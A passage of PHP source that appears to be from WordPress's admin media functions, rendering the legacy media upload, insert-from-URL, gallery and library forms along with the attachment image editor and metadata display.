	?>
	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form">
		<?php submit_button( '', 'hidden', 'save', false ); ?>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
		<?php wp_nonce_field( 'media-form' ); ?>

	<h3 class="media-title"><?php _e( 'Add media files from your computer' ); ?></h3>

	<?php media_upload_form( $errors ); ?>

	<script type="text/javascript">
	jQuery(function($){
		var preloaded = $(".media-item.preloaded");
		if ( preloaded.length > 0 ) {
			preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
		}
		updateMediaForm();
	});
	</script>
	<div id="media-items">
	<?php

	if ( $id ) {
		if ( ! is_wp_error( $id ) ) {
			add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 );
			echo get_media_items( $id, $errors );
		} else {
			echo '<div id="media-upload-error">' . esc_html( $id->get_error_message() ) . '</div></div>';
			exit;
		}
	}

	?>
	</div>

	<p class="savebutton ml-submit">
		<?php submit_button( __( 'Save all changes' ), '', 'save', false ); ?>
	</p>
	</form>
	<?php
}

/**
 * Outputs the legacy media upload form for external media.
 *
 * @since 2.7.0
 *
 * @param string  $type
 * @param object  $errors
 * @param int     $id
 */
function media_upload_type_url_form( $type = null, $errors = null, $id = null ) {
	if ( null === $type ) {
		$type = 'image';
	}

	media_upload_header();

	$post_id = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;

	$form_action_url = admin_url( "media-upload.php?type=$type&tab=type&post_id=$post_id" );
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form type-form validate';

	if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

	?>
	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form">
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
		<?php wp_nonce_field( 'media-form' ); ?>

	<h3 class="media-title"><?php _e( 'Insert media from another website' ); ?></h3>

	<script type="text/javascript">
	var addExtImage = {

	width : '',
	height : '',
	align : 'alignnone',

	insert : function() {
		var t = this, html, f = document.forms[0], cls, title = '', alt = '', caption = '';

		if ( '' === f.src.value || '' === t.width )
			return false;

		if ( f.alt.value )
			alt = f.alt.value.replace(/'/g, '&#039;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');

		<?php
		/** This filter is documented in wp-admin/includes/media.php */
		if ( ! apply_filters( 'disable_captions', '' ) ) {
			?>
			if ( f.caption.value ) {
				caption = f.caption.value.replace(/\r\n|\r/g, '\n');
				caption = caption.replace(/<[a-zA-Z0-9]+( [^<>]+)?>/g, function(a){
					return a.replace(/[\r\n\t]+/, ' ');
				});

				caption = caption.replace(/\s*\n\s*/g, '<br />');
			}
			<?php
		}

		?>
		cls = caption ? '' : ' class="'+t.align+'"';

		html = '<img alt="'+alt+'" src="'+f.src.value+'"'+cls+' width="'+t.width+'" height="'+t.height+'" />';

		if ( f.url.value ) {
			url = f.url.value.replace(/'/g, '&#039;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
			html = '<a href="'+url+'">'+html+'</a>';
		}

		if ( caption )
			html = '[caption id="" align="'+t.align+'" width="'+t.width+'"]'+html+caption+'[/caption]';

		var win = window.dialogArguments || opener || parent || top;
		win.send_to_editor(html);
		return false;
	},

	resetImageData : function() {
		var t = addExtImage;

		t.width = t.height = '';
		document.getElementById('go_button').style.color = '#bbb';
		if ( ! document.forms[0].src.value )
			document.getElementById('status_img').innerHTML = '';
		else document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/no.png' ) ); ?>" alt="" />';
	},

	updateImageData : function() {
		var t = addExtImage;

		t.width = t.preloadImg.width;
		t.height = t.preloadImg.height;
		document.getElementById('go_button').style.color = '#333';
		document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/yes.png' ) ); ?>" alt="" />';
	},

	getImageData : function() {
		if ( jQuery('table.describe').hasClass('not-image') )
			return;

		var t = addExtImage, src = document.forms[0].src.value;

		if ( ! src ) {
			t.resetImageData();
			return false;
		}

		document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/spinner-2x.gif' ) ); ?>" alt="" width="16" height="16" />';
		t.preloadImg = new Image();
		t.preloadImg.onload = t.updateImageData;
		t.preloadImg.onerror = t.resetImageData;
		t.preloadImg.src = src;
	}
	};

	jQuery( function($) {
		$('.media-types input').click( function() {
			$('table.describe').toggleClass('not-image', $('#not-image').prop('checked') );
		});
	} );
	</script>

	<div id="media-items">
	<div class="media-item media-blank">
	<?php
	/**
	 * Filters the insert media from URL form HTML.
	 *
	 * @since 3.3.0
	 *
	 * @param string $form_html The insert from URL form HTML.
	 */
	echo apply_filters( 'type_url_form_media', wp_media_insert_url_form( $type ) );

	?>
	</div>
	</div>
	</form>
	<?php
}

/**
 * Adds gallery form to upload iframe.
 *
 * @since 2.5.0
 *
 * @global string $redir_tab
 * @global string $type
 * @global string $tab
 *
 * @param array $errors
 */
function media_upload_gallery_form( $errors ) {
	global $redir_tab, $type;

	$redir_tab = 'gallery';
	media_upload_header();

	$post_id         = (int) $_REQUEST['post_id'];
	$form_action_url = admin_url( "media-upload.php?type=$type&tab=gallery&post_id=$post_id" );
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form validate';

	if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

	?>
	<script type="text/javascript">
	jQuery(function($){
		var preloaded = $(".media-item.preloaded");
		if ( preloaded.length > 0 ) {
			preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
			updateMediaForm();
		}
	});
	</script>
	<div id="sort-buttons" class="hide-if-no-js">
	<span>
		<?php _e( 'All Tabs:' ); ?>
	<a href="#" id="showall"><?php _e( 'Show' ); ?></a>
	<a href="#" id="hideall" style="display:none;"><?php _e( 'Hide' ); ?></a>
	</span>
		<?php _e( 'Sort Order:' ); ?>
	<a href="#" id="asc"><?php _e( 'Ascending' ); ?></a> |
	<a href="#" id="desc"><?php _e( 'Descending' ); ?></a> |
	<a href="#" id="clear"><?php _ex( 'Clear', 'verb' ); ?></a>
	</div>
	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="gallery-form">
		<?php wp_nonce_field( 'media-form' ); ?>
	<table class="widefat">
	<thead><tr>
	<th><?php _e( 'Media' ); ?></th>
	<th class="order-head"><?php _e( 'Order' ); ?></th>
	<th class="actions-head"><?php _e( 'Actions' ); ?></th>
	</tr></thead>
	</table>
	<div id="media-items">
		<?php add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 ); ?>
		<?php echo get_media_items( $post_id, $errors ); ?>
	</div>

	<p class="ml-submit">
		<?php
		submit_button(
			__( 'Save all changes' ),
			'savebutton',
			'save',
			false,
			array(
				'id'    => 'save-all',
				'style' => 'display: none;',
			)
		);
		?>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
	<input type="hidden" name="type" value="<?php echo esc_attr( $GLOBALS['type'] ); ?>" />
	<input type="hidden" name="tab" value="<?php echo esc_attr( $GLOBALS['tab'] ); ?>" />
	</p>

	<div id="gallery-settings" style="display:none;">
	<div class="title"><?php _e( 'Gallery Settings' ); ?></div>
	<table id="basic" class="describe"><tbody>
		<tr>
		<th scope="row" class="label">
			<label>
			<span class="alignleft"><?php _e( 'Link thumbnails to:' ); ?></span>
			</label>
		</th>
		<td class="field">
			<input type="radio" name="linkto" id="linkto-file" value="file" />
			<label for="linkto-file" class="radio"><?php _e( 'Image File' ); ?></label>

			<input type="radio" checked="checked" name="linkto" id="linkto-post" value="post" />
			<label for="linkto-post" class="radio"><?php _e( 'Attachment Page' ); ?></label>
		</td>
		</tr>

		<tr>
		<th scope="row" class="label">
			<label>
			<span class="alignleft"><?php _e( 'Order images by:' ); ?></span>
			</label>
		</th>
		<td class="field">
			<select id="orderby" name="orderby">
				<option value="menu_order" selected="selected"><?php _e( 'Menu order' ); ?></option>
				<option value="title"><?php _e( 'Title' ); ?></option>
				<option value="post_date"><?php _e( 'Date/Time' ); ?></option>
				<option value="rand"><?php _e( 'Random' ); ?></option>
			</select>
		</td>
		</tr>

		<tr>
		<th scope="row" class="label">
			<label>
			<span class="alignleft"><?php _e( 'Order:' ); ?></span>
			</label>
		</th>
		<td class="field">
			<input type="radio" checked="checked" name="order" id="order-asc" value="asc" />
			<label for="order-asc" class="radio"><?php _e( 'Ascending' ); ?></label>

			<input type="radio" name="order" id="order-desc" value="desc" />
			<label for="order-desc" class="radio"><?php _e( 'Descending' ); ?></label>
		</td>
		</tr>

		<tr>
		<th scope="row" class="label">
			<label>
			<span class="alignleft"><?php _e( 'Gallery columns:' ); ?></span>
			</label>
		</th>
		<td class="field">
			<select id="columns" name="columns">
				<option value="1">1</option>
				<option value="2">2</option>
				<option value="3" selected="selected">3</option>
				<option value="4">4</option>
				<option value="5">5</option>
				<option value="6">6</option>
				<option value="7">7</option>
				<option value="8">8</option>
				<option value="9">9</option>
			</select>
		</td>
		</tr>
	</tbody></table>

	<p class="ml-submit">
	<input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="insert-gallery" id="insert-gallery" value="<?php esc_attr_e( 'Insert gallery' ); ?>" />
	<input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="update-gallery" id="update-gallery" value="<?php esc_attr_e( 'Update gallery settings' ); ?>" />
	</p>
	</div>
	</form>
	<?php
}

/**
 * Outputs the legacy media upload form for the media library.
 *
 * @since 2.5.0
 *
 * @global wpdb      $wpdb            WordPress database abstraction object.
 * @global WP_Query  $wp_query        WordPress Query object.
 * @global WP_Locale $wp_locale       WordPress date and time locale object.
 * @global string    $type
 * @global string    $tab
 * @global array     $post_mime_types
 *
 * @param array $errors
 */
function media_upload_library_form( $errors ) {
	global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;

	media_upload_header();

	$post_id = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;

	$form_action_url = admin_url( "media-upload.php?type=$type&tab=library&post_id=$post_id" );
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form validate';

	if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

	$q                   = $_GET;
	$q['posts_per_page'] = 10;
	$q['paged']          = isset( $q['paged'] ) ? (int) $q['paged'] : 0;
	if ( $q['paged'] < 1 ) {
		$q['paged'] = 1;
	}
	$q['offset'] = ( $q['paged'] - 1 ) * 10;
	if ( $q['offset'] < 1 ) {
		$q['offset'] = 0;
	}

	list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query( $q );

	?>
	<form id="filter" method="get">
	<input type="hidden" name="type" value="<?php echo esc_attr( $type ); ?>" />
	<input type="hidden" name="tab" value="<?php echo esc_attr( $tab ); ?>" />
	<input type="hidden" name="post_id" value="<?php echo (int) $post_id; ?>" />
	<input type="hidden" name="post_mime_type" value="<?php echo isset( $_GET['post_mime_type'] ) ? esc_attr( $_GET['post_mime_type'] ) : ''; ?>" />
	<input type="hidden" name="context" value="<?php echo isset( $_GET['context'] ) ? esc_attr( $_GET['context'] ) : ''; ?>" />

	<p id="media-search" class="search-box">
		<label class="screen-reader-text" for="media-search-input">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Search Media:' );
			?>
		</label>
		<input type="search" id="media-search-input" name="s" value="<?php the_search_query(); ?>" />
		<?php submit_button( __( 'Search Media' ), '', '', false ); ?>
	</p>

	<ul class="subsubsub">
		<?php
		$type_links = array();
		$_num_posts = (array) wp_count_attachments();
		$matches    = wp_match_mime_types( array_keys( $post_mime_types ), array_keys( $_num_posts ) );
		foreach ( $matches as $_type => $reals ) {
			foreach ( $reals as $real ) {
				if ( isset( $num_posts[ $_type ] ) ) {
					$num_posts[ $_type ] += $_num_posts[ $real ];
				} else {
					$num_posts[ $_type ] = $_num_posts[ $real ];
				}
			}
		}
		// If available type specified by media button clicked, filter by that type.
		if ( empty( $_GET['post_mime_type'] ) && ! empty( $num_posts[ $type ] ) ) {
			$_GET['post_mime_type']                        = $type;
			list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
		}
		if ( empty( $_GET['post_mime_type'] ) || 'all' === $_GET['post_mime_type'] ) {
			$class = ' class="current"';
		} else {
			$class = '';
		}
		$type_links[] = '<li><a href="' . esc_url(
			add_query_arg(
				array(
					'post_mime_type' => 'all',
					'paged'          => false,
					'm'              => false,
				)
			)
		) . '"' . $class . '>' . __( 'All Types' ) . '</a>';
		foreach ( $post_mime_types as $mime_type => $label ) {
			$class = '';

			if ( ! wp_match_mime_types( $mime_type, $avail_post_mime_types ) ) {
				continue;
			}

			if ( isset( $_GET['post_mime_type'] ) && wp_match_mime_types( $mime_type, $_GET['post_mime_type'] ) ) {
				$class = ' class="current"';
			}

			$type_links[] = '<li><a href="' . esc_url(
				add_query_arg(
					array(
						'post_mime_type' => $mime_type,
						'paged'          => false,
					)
				)
			) . '"' . $class . '>' . sprintf( translate_nooped_plural( $label[2], $num_posts[ $mime_type ] ), '<span id="' . $mime_type . '-counter">' . number_format_i18n( $num_posts[ $mime_type ] ) . '</span>' ) . '</a>';
		}
		/**
		 * Filters the media upload mime type list items.
		 *
		 * Returned values should begin with an `<li>` tag.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $type_links An array of list items containing mime type link HTML.
		 */
		echo implode( ' | </li>', apply_filters( 'media_upload_mime_type_links', $type_links ) ) . '</li>';
		unset( $type_links );
		?>
	</ul>

	<div class="tablenav">

		<?php
		$page_links = paginate_links(
			array(
				'base'      => add_query_arg( 'paged', '%#%' ),
				'format'    => '',
				'prev_text' => __( '&laquo;' ),
				'next_text' => __( '&raquo;' ),
				'total'     => ceil( $wp_query->found_posts / 10 ),
				'current'   => $q['paged'],
			)
		);

		if ( $page_links ) {
			echo "<div class='tablenav-pages'>$page_links</div>";
		}
		?>

	<div class="alignleft actions">
		<?php

		$arc_query = "SELECT DISTINCT YEAR(post_date) AS yyear, MONTH(post_date) AS mmonth FROM $wpdb->posts WHERE post_type = 'attachment' ORDER BY post_date DESC";

		$arc_result = $wpdb->get_results( $arc_query );

		$month_count    = count( $arc_result );
		$selected_month = isset( $_GET['m'] ) ? $_GET['m'] : 0;

		if ( $month_count && ! ( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) {
			?>
			<select name='m'>
			<option<?php selected( $selected_month, 0 ); ?> value='0'><?php _e( 'All dates' ); ?></option>
			<?php

			foreach ( $arc_result as $arc_row ) {
				if ( 0 == $arc_row->yyear ) {
					continue;
				}

				$arc_row->mmonth = zeroise( $arc_row->mmonth, 2 );

				if ( $arc_row->yyear . $arc_row->mmonth == $selected_month ) {
					$default = ' selected="selected"';
				} else {
					$default = '';
				}

				echo "<option$default value='" . esc_attr( $arc_row->yyear . $arc_row->mmonth ) . "'>";
				echo esc_html( $wp_locale->get_month( $arc_row->mmonth ) . " $arc_row->yyear" );
				echo "</option>\n";
			}

			?>
			</select>
		<?php } ?>

		<?php submit_button( __( 'Filter &#187;' ), '', 'post-query-submit', false ); ?>

	</div>

	<br class="clear" />
	</div>
	</form>

	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="library-form">
	<?php wp_nonce_field( 'media-form' ); ?>

	<script type="text/javascript">
	jQuery(function($){
		var preloaded = $(".media-item.preloaded");
		if ( preloaded.length > 0 ) {
			preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
			updateMediaForm();
		}
	});
	</script>

	<div id="media-items">
		<?php add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 ); ?>
		<?php echo get_media_items( null, $errors ); ?>
	</div>
	<p class="ml-submit">
		<?php submit_button( __( 'Save all changes' ), 'savebutton', 'save', false ); ?>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
	</p>
	</form>
	<?php
}

/**
 * Creates the form for external url.
 *
 * @since 2.7.0
 *
 * @param string $default_view
 * @return string HTML content of the form.
 */
function wp_media_insert_url_form( $default_view = 'image' ) {
	/** This filter is documented in wp-admin/includes/media.php */
	if ( ! apply_filters( 'disable_captions', '' ) ) {
		$caption = '
		<tr class="image-only">
			<th scope="row" class="label">
				<label for="caption"><span class="alignleft">' . __( 'Image Caption' ) . '</span></label>
			</th>
			<td class="field"><textarea id="caption" name="caption"></textarea></td>
		</tr>';
	} else {
		$caption = '';
	}

	$default_align = get_option( 'image_default_align' );

	if ( empty( $default_align ) ) {
		$default_align = 'none';
	}

	if ( 'image' === $default_view ) {
		$view        = 'image-only';
		$table_class = '';
	} else {
		$view        = 'not-image';
		$table_class = $view;
	}

	return '
	<p class="media-types"><label><input type="radio" name="media_type" value="image" id="image-only"' . checked( 'image-only', $view, false ) . ' /> ' . __( 'Image' ) . '</label> &nbsp; &nbsp; <label><input type="radio" name="media_type" value="generic" id="not-image"' . checked( 'not-image', $view, false ) . ' /> ' . __( 'Audio, Video, or Other File' ) . '</label></p>
	<p class="media-types media-types-required-info">' .
		wp_required_field_message() .
	'</p>
	<table class="describe ' . $table_class . '"><tbody>
		<tr>
			<th scope="row" class="label" style="width:130px;">
				<label for="src"><span class="alignleft">' . __( 'URL' ) . '</span> ' . wp_required_field_indicator() . '</label>
				<span class="alignright" id="status_img"></span>
			</th>
			<td class="field"><input id="src" name="src" value="" type="text" required onblur="addExtImage.getImageData()" /></td>
		</tr>

		<tr>
			<th scope="row" class="label">
				<label for="title"><span class="alignleft">' . __( 'Title' ) . '</span> ' . wp_required_field_indicator() . '</label>
			</th>
			<td class="field"><input id="title" name="title" value="" type="text" required /></td>
		</tr>

		<tr class="not-image"><td></td><td><p class="help">' . __( 'Link text, e.g. &#8220;Ransom Demands (PDF)&#8221;' ) . '</p></td></tr>

		<tr class="image-only">
			<th scope="row" class="label">
				<label for="alt"><span class="alignleft">' . __( 'Alternative Text' ) . '</span> ' . wp_required_field_indicator() . '</label>
			</th>
			<td class="field"><input id="alt" name="alt" value="" type="text" required />
			<p class="help">' . __( 'Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;' ) . '</p></td>
		</tr>
		' . $caption . '
		<tr class="align image-only">
			<th scope="row" class="label"><p><label for="align">' . __( 'Alignment' ) . '</label></p></th>
			<td class="field">
				<input name="align" id="align-none" value="none" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'none' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-none" class="align image-align-none-label">' . __( 'None' ) . '</label>
				<input name="align" id="align-left" value="left" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'left' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-left" class="align image-align-left-label">' . __( 'Left' ) . '</label>
				<input name="align" id="align-center" value="center" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'center' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-center" class="align image-align-center-label">' . __( 'Center' ) . '</label>
				<input name="align" id="align-right" value="right" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'right' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-right" class="align image-align-right-label">' . __( 'Right' ) . '</label>
			</td>
		</tr>

		<tr class="image-only">
			<th scope="row" class="label">
				<label for="url"><span class="alignleft">' . __( 'Link Image To:' ) . '</span></label>
			</th>
			<td class="field"><input id="url" name="url" value="" type="text" /><br />

			<button type="button" class="button" value="" onclick="document.forms[0].url.value=null">' . __( 'None' ) . '</button>
			<button type="button" class="button" value="" onclick="document.forms[0].url.value=document.forms[0].src.value">' . __( 'Link to image' ) . '</button>
			<p class="help">' . __( 'Enter a link URL or click above for presets.' ) . '</p></td>
		</tr>
		<tr class="image-only">
			<td></td>
			<td>
				<input type="button" class="button" id="go_button" style="color:#bbb;" onclick="addExtImage.insert()" value="' . esc_attr__( 'Insert into Post' ) . '" />
			</td>
		</tr>
		<tr class="not-image">
			<td></td>
			<td>
				' . get_submit_button( __( 'Insert into Post' ), '', 'insertonlybutton', false ) . '
			</td>
		</tr>
	</tbody></table>';
}

/**
 * Displays the multi-file uploader message.
 *
 * @since 2.6.0
 *
 * @global int $post_ID
 */
function media_upload_flash_bypass() {
	$browser_uploader = admin_url( 'media-new.php?browser-uploader' );

	$post = get_post();
	if ( $post ) {
		$browser_uploader .= '&amp;post_id=' . (int) $post->ID;
	} elseif ( ! empty( $GLOBALS['post_ID'] ) ) {
		$browser_uploader .= '&amp;post_id=' . (int) $GLOBALS['post_ID'];
	}

	?>
	<p class="upload-flash-bypass">
	<?php
		printf(
			/* translators: 1: URL to browser uploader, 2: Additional link attributes. */
			__( 'You are using the multi-file uploader. Problems? Try the <a href="%1$s" %2$s>browser uploader</a> instead.' ),
			$browser_uploader,
			'target="_blank"'
		);
	?>
	</p>
	<?php
}

/**
 * Displays the browser's built-in uploader message.
 *
 * @since 2.6.0
 */
function media_upload_html_bypass() {
	?>
	<p class="upload-html-bypass hide-if-no-js">
		<?php _e( 'You are using the browser&#8217;s built-in file uploader. The WordPress uploader includes multiple file selection and drag and drop capability. <a href="#">Switch to the multi-file uploader</a>.' ); ?>
	</p>
	<?php
}

/**
 * Used to display a "After a file has been uploaded..." help message.
 *
 * @since 3.3.0
 */
function media_upload_text_after() {}

/**
 * Displays the checkbox to scale images.
 *
 * @since 3.3.0
 */
function media_upload_max_image_resize() {
	$checked = get_user_setting( 'upload_resize' ) ? ' checked="true"' : '';
	$a       = '';
	$end     = '';

	if ( current_user_can( 'manage_options' ) ) {
		$a   = '<a href="' . esc_url( admin_url( 'options-media.php' ) ) . '" target="_blank">';
		$end = '</a>';
	}

	?>
	<p class="hide-if-no-js"><label>
	<input name="image_resize" type="checkbox" id="image_resize" value="true"<?php echo $checked; ?> />
	<?php
	/* translators: 1: Link start tag, 2: Link end tag, 3: Width, 4: Height. */
	printf( __( 'Scale images to match the large size selected in %1$simage options%2$s (%3$d &times; %4$d).' ), $a, $end, (int) get_option( 'large_size_w', '1024' ), (int) get_option( 'large_size_h', '1024' ) );

	?>
	</label></p>
	<?php
}

/**
 * Displays the out of storage quota message in Multisite.
 *
 * @since 3.5.0
 */
function multisite_over_quota_message() {
	echo '<p>' . sprintf(
		/* translators: %s: Allowed space allocation. */
		__( 'Sorry, you have used your space allocation of %s. Please delete some files to upload more files.' ),
		size_format( get_space_allowed() * MB_IN_BYTES )
	) . '</p>';
}

/**
 * Displays the image and editor in the post editor
 *
 * @since 3.5.0
 *
 * @param WP_Post $post A post object.
 */
function edit_form_image_editor( $post ) {
	$open = isset( $_GET['image-editor'] );

	if ( $open ) {
		require_once ABSPATH . 'wp-admin/includes/image-edit.php';
	}

	$thumb_url     = false;
	$attachment_id = (int) $post->ID;

	if ( $attachment_id ) {
		$thumb_url = wp_get_attachment_image_src( $attachment_id, array( 900, 450 ), true );
	}

	$alt_text = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );

	$att_url = wp_get_attachment_url( $post->ID );
	?>
	<div class="wp_attachment_holder wp-clearfix">
	<?php

	if ( wp_attachment_is_image( $post->ID ) ) :
		$image_edit_button = '';
		if ( wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) {
			$nonce             = wp_create_nonce( "image_editor-$post->ID" );
			$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
		}

		$open_style     = '';
		$not_open_style = '';

		if ( $open ) {
			$open_style = ' style="display:none"';
		} else {
			$not_open_style = ' style="display:none"';
		}

		?>
		<div class="imgedit-response" id="imgedit-response-<?php echo $attachment_id; ?>"></div>

		<div<?php echo $open_style; ?> class="wp_attachment_image wp-clearfix" id="media-head-<?php echo $attachment_id; ?>">
			<p id="thumbnail-head-<?php echo $attachment_id; ?>"><img class="thumbnail" src="<?php echo set_url_scheme( $thumb_url[0] ); ?>" style="max-width:100%" alt="" /></p>
			<p><?php echo $image_edit_button; ?></p>
		</div>
		<div<?php echo $not_open_style; ?> class="image-editor" id="image-editor-<?php echo $attachment_id; ?>">
		<?php

		if ( $open ) {
			wp_image_editor( $attachment_id );
		}

		?>
		</div>
		<?php
	elseif ( $attachment_id && wp_attachment_is( 'audio', $post ) ) :

		wp_maybe_generate_attachment_metadata( $post );

		echo wp_audio_shortcode( array( 'src' => $att_url ) );

	elseif ( $attachment_id && wp_attachment_is( 'video', $post ) ) :

		wp_maybe_generate_attachment_metadata( $post );

		$meta = wp_get_attachment_metadata( $attachment_id );
		$w    = ! empty( $meta['width'] ) ? min( $meta['width'], 640 ) : 0;
		$h    = ! empty( $meta['height'] ) ? $meta['height'] : 0;

		if ( $h && $w < $meta['width'] ) {
			$h = round( ( $meta['height'] * $w ) / $meta['width'] );
		}

		$attr = array( 'src' => $att_url );

		if ( ! empty( $w ) && ! empty( $h ) ) {
			$attr['width']  = $w;
			$attr['height'] = $h;
		}

		$thumb_id = get_post_thumbnail_id( $attachment_id );

		if ( ! empty( $thumb_id ) ) {
			$attr['poster'] = wp_get_attachment_url( $thumb_id );
		}

		echo wp_video_shortcode( $attr );

	elseif ( isset( $thumb_url[0] ) ) :
		?>
		<div class="wp_attachment_image wp-clearfix" id="media-head-<?php echo $attachment_id; ?>">
			<p id="thumbnail-head-<?php echo $attachment_id; ?>">
				<img class="thumbnail" src="<?php echo set_url_scheme( $thumb_url[0] ); ?>" style="max-width:100%" alt="" />
			</p>
		</div>
		<?php

	else :

		/**
		 * Fires when an attachment type can't be rendered in the edit form.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Post $post A post object.
		 */
		do_action( 'wp_edit_form_attachment_display', $post );

	endif;

	?>
	</div>
	<div class="wp_attachment_details edit-form-section">
	<?php if ( str_starts_with( $post->post_mime_type, 'image' ) ) : ?>
		<p class="attachment-alt-text">
			<label for="attachment_alt"><strong><?php _e( 'Alternative Text' ); ?></strong></label><br />
			<textarea class="widefat" name="_wp_attachment_image_alt" id="attachment_alt" aria-describedby="alt-text-description"><?php echo esc_attr( $alt_text ); ?></textarea>
		</p>
		<p class="attachment-alt-text-description" id="alt-text-description">
		<?php

		printf(
			/* translators: 1: Link to tutorial, 2: Additional link attributes, 3: Accessibility text. */
			__( '<a href="%1$s" %2$s>Learn how to describe the purpose of the image%3$s</a>. Leave empty if the image is purely decorative.' ),
			esc_url( 'https://www.w3.org/WAI/tutorials/images/decision-tree' ),
			'target="_blank" rel="noopener"',
			sprintf(
				'<span class="screen-reader-text"> %s</span>',
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			)
		);

		?>
		</p>
	<?php endif; ?>

		<p>
			<label for="attachment_caption"><strong><?php _e( 'Caption' ); ?></strong></label><br />
			<textarea class="widefat" name="excerpt" id="attachment_caption"><?php echo $post->post_excerpt; ?></textarea>
		</p>

	<?php

	$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
	$editor_args        = array(
		'textarea_name' => 'content',
		'textarea_rows' => 5,
		'media_buttons' => false,
		'tinymce'       => false,
		'quicktags'     => $quicktags_settings,
	);

	?>

	<label for="attachment_content" class="attachment-content-description"><strong><?php _e( 'Description' ); ?></strong>
	<?php

	if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) {
		echo ': ' . __( 'Displayed on attachment pages.' );
	}

	?>
	</label>
	<?php wp_editor( format_to_edit( $post->post_content ), 'attachment_content', $editor_args ); ?>

	</div>
	<?php

	$extras = get_compat_media_markup( $post->ID );
	echo $extras['item'];
	echo '<input type="hidden" id="image-edit-context" value="edit-attachment" />' . "\n";
}

/**
 * Displays non-editable attachment metadata in the publish meta box.
 *
 * @since 3.5.0
 */
function attachment_submitbox_metadata() {
	$post          = get_post();
	$attachment_id = $post->ID;

	$file     = get_attached_file( $attachment_id );
	$filename = esc_html( wp_basename( $file ) );

	$media_dims = '';
	$meta       = wp_get_attachment_metadata( $attachment_id );

	if ( isset( $meta['width'], $meta['height'] ) ) {
		$media_dims .= "<span id='media-dims-$attachment_id'>{$meta['width']}&nbsp;&times;&nbsp;{$meta['height']}</span> ";
	}
	/** This filter is documented in wp-admin/includes/media.php */
	$media_dims = apply_filters( 'media_meta', $media_dims, $post );

	$att_url = wp_get_attachment_url( $attachment_id );

	$author = new WP_User( $post->post_author );

	$uploaded_by_name = __( '(no author)' );
	$uploaded_by_link = '';

	if ( $author->exists() ) {
		$uploaded_by_name = $author->display_name ? $author->display_name : $author->nickname;
		$uploaded_by_link = get_edit_user_link( $author->ID );
	}
	?>
	<div class="misc-pub-section misc-pub-uploadedby">
		<?php if ( $uploaded_by_link ) { ?>
			<?php _e( 'Uploaded by:' ); ?> <a href="<?php echo $uploaded_by_link; ?>"><strong><?php echo $uploaded_by_name; ?></strong></a>
		<?php } else { ?>
			<?php _e( 'Uploaded by:' ); ?> <strong><?php echo $uploaded_by_name; ?></strong>
		<?php } ?>
	</div>

	<?php
	if ( $post->post_parent ) {
		$post_parent = get_post( $post->post_parent );
		if ( $post_parent ) {
